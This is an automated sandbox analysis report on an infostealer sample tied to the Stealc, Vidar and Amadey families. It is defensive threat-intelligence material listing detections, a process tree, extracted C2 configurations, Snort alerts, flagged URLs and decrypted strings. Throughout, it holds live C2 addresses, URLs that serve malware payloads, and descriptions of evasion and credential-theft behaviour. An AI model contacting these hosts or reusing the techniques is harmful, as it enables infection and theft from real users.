Edit tour

Windows Analysis Report
EZrw1nNIpG.exe

Overview

General Information

Sample name:	EZrw1nNIpG.exe renamed because original name is a hash value
Original sample name:	e3cbb274e66e95a1b7ee5c05d87abbd5.exe
Analysis ID:	1462819
MD5:	e3cbb274e66e95a1b7ee5c05d87abbd5
SHA1:	93d96f3d0b6e5d13242c88af9dc9648cbc60fd0b
SHA256:	e6c76393ad6b5516ed6e84adbd0687f981bf3c419e99d9c235a6948e63d383d4
Tags:	32exeStealctrojan
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

EZrw1nNIpG.exe (PID: 3792 cmdline: "C:\Users\user\Desktop\EZrw1nNIpG.exe" MD5: E3CBB274E66E95A1B7EE5C05D87ABBD5)

cmd.exe (PID: 4784 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

KKEBKJJDGH.exe (PID: 5264 cmdline: "C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe" MD5: 6EE133F9B425C62CD31A1CFB62BB5318)

explortu.exe (PID: 736 cmdline: "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe" MD5: 6EE133F9B425C62CD31A1CFB62BB5318)

3eb62d09c2.exe (PID: 7356 cmdline: "C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe" MD5: 05F33536753FEF7FFF85E5AB55E94639)

cmd.exe (PID: 1320 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KJJJKFIIIJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explortu.exe (PID: 3884 cmdline: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe MD5: 6EE133F9B425C62CD31A1CFB62BB5318)

explortu.exe (PID: 7480 cmdline: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe MD5: 6EE133F9B425C62CD31A1CFB62BB5318)

explortu.exe (PID: 7948 cmdline: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe MD5: 6EE133F9B425C62CD31A1CFB62BB5318)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "85.28.47.4/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://147.45.47.155/ku4Nor9/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2389921177.0000000001614000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2445574299.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2385661873.0000000000811000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2385661873.0000000000811000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000D.00000002.2514385520.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.2514385520.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000F.00000002.2703194358.0000000000221000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2440931537.0000000004A30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.3266423975.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2394722403.0000000004A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.2515715104.0000000001CF5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.3310671212.0000000000221000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.2438251859.0000000000251000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.3418913450.0000000000221000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2486002500.0000000000221000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000003.2662971717.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: EZrw1nNIpG.exe PID: 3792	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: EZrw1nNIpG.exe PID: 3792	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: EZrw1nNIpG.exe PID: 3792	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 3eb62d09c2.exe PID: 7356	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.explortu.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.explortu.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.explortu.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.explortu.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.KKEBKJJDGH.exe.250000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.3eb62d09c2.exe.d00000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.3eb62d09c2.exe.d00000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.EZrw1nNIpG.exe.810000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.EZrw1nNIpG.exe.810000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 4 entries

Snort Signatures

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.4

Timestamp:	06/26/24-08:16:15.183787
SID:	2044246
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 147.45.47.155

Timestamp:	06/26/24-08:16:41.353588
SID:	2856147
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.6

Timestamp:	06/26/24-08:16:15.361668
SID:	2051831
Source Port:	80
Destination Port:	49713
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 147.45.47.155 - Destination IP: 192.168.2.6

Timestamp:	06/26/24-08:16:42.247244
SID:	2856122
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.4

Timestamp:	06/26/24-08:16:15.003996
SID:	2044244
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.4

Timestamp:	06/26/24-08:16:14.349868
SID:	2044243
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.4

Timestamp:	06/26/24-08:16:46.077225
SID:	2044243
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.6

Timestamp:	06/26/24-08:16:15.181493
SID:	2051828
Source Port:	80
Destination Port:	49713
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: EZrw1nNIpG.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://147.45.47.155/ku4Nor9/index.php17037dc9	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll0~	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpsHy~	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dlls9	Avira URL Cloud: Label: malware
Source: http://147.45.47.155/ku4Nor9/index.php	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/ku4Nor9/index.phpspace	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/ku4Nor9/index.phpft	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/920475a59bac849d.php%	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exeLL:	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe50673b5d	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/windows.storage.dllc	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/920475a59bac849d.php5	Avira URL Cloud: Label: malware
Source: http://147.45.47.155/ku4Nor9/index.php-3693405117-	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/ku4Nor9/index.phpl2	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://147.45.47.155/ku4Nor9/index.phprsion	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/ku4Nor9/index.phpe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exeK	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/ku4Nor9/index.phpvJw	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exe	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://147.45.47.155/ku4Nor9/index.phpE1	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: 85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exepera	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dllb	Avira URL Cloud: Label: malware
Source: http://147.45.47.155/SysWOW64	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dlli8	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll-~	Avira URL Cloud: Label: malware
Source: http://85.28.47.4	Avira URL Cloud: Label: malware
Source: http://147.45.47.155/ku4Nor9/index.phpmL	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dllq	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php%?	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exeAL-	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/ku4Nor9/index.phpM	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/ku4Nor9/index.php;R	Avira URL Cloud: Label: phishing
Source: http://147.45.47.155/ku4Nor9/index.phpH	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exeAppData	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen

Found malware configuration

Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: explortu.exe.736.10.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://147.45.47.155/ku4Nor9/index.php"]}
Source: EZrw1nNIpG.exe.3792.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "85.28.47.4/920475a59bac849d.php"}

Multi AV Scanner detection for domain / URL

Source: http://77.91.77.81/cost/go.exe	Virustotal: Detection: 26%	Perma Link
Source: http://147.45.47.155/	Virustotal: Detection: 20%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe	Virustotal: Detection: 27%	Perma Link
Source: http://85.28.47.4/	Virustotal: Detection: 14%	Perma Link
Source: http://147.45.47.155/ku4Nor9/index.php	Virustotal: Detection: 21%	Perma Link
Source: http://85.28.47.4/920475a59bac849d.php%	Virustotal: Detection: 6%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Virustotal: Detection: 6%	Perma Link
Source: http://85.28.47.4/920475a59bac849d.php5	Virustotal: Detection: 10%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Virustotal: Detection: 7%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Virustotal: Detection: 7%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Virustotal: Detection: 9%	Perma Link

Multi AV Scanner detection for submitted file

Source: EZrw1nNIpG.exe	ReversingLabs: Detection: 50%
Source: EZrw1nNIpG.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: EZrw1nNIpG.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetProcAddress
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: LoadLibraryA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: lstrcatA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: OpenEventA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: CreateEventA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: CloseHandle
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: Sleep
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: VirtualFree
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetSystemInfo
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: VirtualAlloc
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: HeapAlloc
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetComputerNameA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: lstrcpyA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetProcessHeap
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetCurrentProcess
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: lstrlenA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: ExitProcess
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetSystemTime
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: advapi32.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: gdi32.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: user32.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: crypt32.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: ntdll.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetUserNameA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: CreateDCA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetDeviceCaps
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: ReleaseDC
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: sscanf
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: VMwareVMware
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: HAL9TH
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: JohnDoe
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: DISPLAY
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: http://85.28.47.4
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: default
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetFileAttributesA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GlobalLock
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: HeapFree
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetFileSize
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GlobalSize
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: IsWow64Process
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: Process32Next
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetLocalTime
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: FreeLibrary
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetVolumeInformationA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: Process32First
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetLocaleInfoA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetModuleFileNameA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: DeleteFileA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: FindNextFileA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: LocalFree
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: FindClose
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: LocalAlloc
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetFileSizeEx
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: ReadFile
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: SetFilePointer
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: WriteFile
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: CreateFileA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: FindFirstFileA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: CopyFileA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: VirtualProtect
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetLastError
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: lstrcpynA
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: MultiByteToWideChar
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GlobalFree
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: WideCharToMultiByte
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GlobalAlloc
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: OpenProcess
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: TerminateProcess
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: GetCurrentProcessId
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: gdiplus.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: ole32.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: bcrypt.dll
